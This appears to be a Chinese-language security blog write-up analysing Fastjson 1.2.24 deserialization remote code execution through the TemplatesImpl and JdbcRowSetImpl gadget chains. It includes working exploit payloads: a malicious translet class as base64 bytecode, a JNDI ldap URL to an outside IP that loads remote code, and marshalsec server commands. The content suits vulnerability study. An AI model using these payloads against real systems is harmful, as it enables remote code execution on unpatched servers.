FastJson1.2.24

先提一下fastjson的功能要点

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。

  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。

  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。

  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。

  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

TemplatesImpl 反序列化

Fastjson(1.2.2 - 1.2.4)在启用了SupportNonPublicField特性时可以利用Xalan的TemplatesImpl实现RCE

Fastjson会创建com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实例,并通过json中的字段去映射TemplatesImpl类中的成员变量,比如将_bytecodes 经过Base64解码后将byte[]映射到TemplatesImpl类的_bytecodes上,其他字段同理。但仅仅是属性映射是无法触发传入的类实例化的,还必须要调用getOutputProperties()方法才会触发defineClass(使用传入的恶意类字节码创建类)和newInstance(创建恶意类实例,从而触发恶意类构造方法中的命令执行代码)

首先可以在Templateslmpl#getTransletInstance中得到实例化函数

image-20240318223615243

可以发现这是将_class这个数组中的[_transletIndex]进行了实例化,所以这就可以确定了我们链子的最终利用点

通过查看实例我们可以发现如下关系,类中的 getOutputProperties() 方法调用 newTransformer() 方法,而 newTransformer() 又调用了 getTransletInstance() 方法。图如下

image-20240318224736921

image-20240318224746475

image-20240318224924186

那么这个时候就要看getOutputProperties()是否可控了,这个方法是OutputProperties的getter方法,然后就是看上面所提到的class数组是否可控,这决定了我们是否可以实例化我们所要加载的恶意类

image-20240318225328005

可以发现在上图的参数具有赋值操作,其中defineTransletClasses在getTransletInstance是有调用的,只要_class为空就可以调用,详见下图

image-20240318225536452

分析defineTransletClasses可以得到,如果_bytecodes不为空,那么就会进行自定义类的调用

image-20240319102645958

image-20240318231646986

接下来就是构造恶意类,形成payload了

Shell.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.imageio.IIOException;
import java.io.IOException;

public class Shell extends AbstractTranslet {

static {
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

Base64Encoder.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Base64Encoder {
public static void main(String[] args) throws Exception {
// 替换为你的字节码文件路径
String filePath = "./out/production/1.2.24/Shell.class";
byte[] classBytes = Files.readAllBytes(Paths.get(filePath));
String encoded = Base64.getEncoder().encodeToString(classBytes);
System.out.println(encoded);
}
}

本地测试代码FastjsonTest1.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;
public class FastjsonTest1 {
public static void main(String[] args){
String byteCode = "yv66vgAAADQANgoACAAmCAAnCgAoACkKACgAKgcAKwoABQAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAdMU2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKAQAEY2FsYwcAMAwAMQAyDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA1AAoBAAVTaGVsbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAHQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAcQACAAEAAAAUEgJLuAADKrYABFenAAhLKrYABrEAAQAAAAsADgAFAAMADAAAABoABgAAAA4AAwAPAAsAEgAOABAADwARABMAEwANAAAAFgACAAMACAAeAB8AAAAPAAQAIAAhAAAAIgAAAAcAAk4HACMEAAEAJAAAAAIAJQ==";
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+byteCode+"\"]," +
"'_name':'Chu0'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(payload);
Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

这里给出payload

1
2
3
4
5
6
7
8
9
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQANgoACAAmCAAnCgAoACkKACgAKgcAKwoABQAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAdMU2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKAQAEY2FsYwcAMAwAMQAyDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA1AAoBAAVTaGVsbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAHQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAcQACAAEAAAAUEgJLuAADKrYABFenAAhLKrYABrEAAQAAAAsADgAFAAMADAAAABoABgAAAA4AAwAPAAsAEgAOABAADwARABMAEwANAAAAFgACAAMACAAeAB8AAAAPAAQAIAAhAAAAIgAAAAcAAk4HACMEAAEAJAAAAAIAJQ=="],
"_name": "Chu0",
"_tfactory": {},
"_outputProperties": {},
"_auxClasses":{ },
"_transletIndex":0
}

这里的_name和_tfactory是为了防止为null进而报错,链子分析

fj会在创建一个类实例时会通过反射调用类中符合条件的参数的getter或者setter方法,这里是getter方法也就是getOutputProperties(),这是入口,接下来就是调用该方法中的newTransformer(),再到newTransformer()方法中的getTransletInstance(),由于我们的_class为空,所以根据逻辑又会触发defineTransletClasses,由于_bytecodes不为null,所以就会将_bytecodes[0]中的字节码加载进_class[0]中,最后,在_class[_transletIndex].getConstructor().newInstance();将恶意类进行实例化,执行我们的恶意命令

JdbcRowSetImpl 反序列化

很好理解com.sun.rowset.JdbcRowSetImpl有两个函数,一个是setAutoCommit(),一个是connect(),漏洞的主要成因是connect中的lookup函数的参数可控,下面是setAutoCommit

image-20240319105150237

在这里调用了connect方法,继续跟踪

image-20240319105245765

在这里我们就看到了lookup函数,他的参数是getDataSourceName,根据fj的运行原理,我们可以明白在创建实例的时候fj会调用对应参数的getter或者setter方法,payload如下

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://110.41.17.183:5555/ExploitTest",
"autoCommit":true
}

链子分析,在这里先触发getdataSourceName给dataSourceName赋值,再触发setter方法触发setAutoCommit,进而完成整条链子

开启http服务

1
2
python3 -m http.server
#默认8000端口

工具marshalsec-0.0.3-SNAPSHOT-all.jar

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://110.41.17.183:8080/#Exploit" 5555
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://110.41.17.183:8080/#Exploit" 5555

在某ip,一般就为本机ip,开启RMI或者LDAP服务

FastJsonServer.java

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastJsonServer {
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String str = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://110.41.17.183:5555/ExploitTest\", \"autoCommit\":true}";
JSONObject jsonObject = JSON.parseObject(str);
}
}

ExploitTest.java

1
2
3
4
5
6
7
8
9
import java.io.IOException;

public class ExploitTest {

public ExploitTest() throws IOException {
//直接在构造方法中运行计算器
Runtime.getRuntime().exec("calc");
}
}

具体操作:

1.在服务器开启RMI或者LDAP服务

2.在同目录下开启http服务

3.将Exploit.java编译为class文件,放到上边开启服务的同目录下

4.执行FastJsonServer.java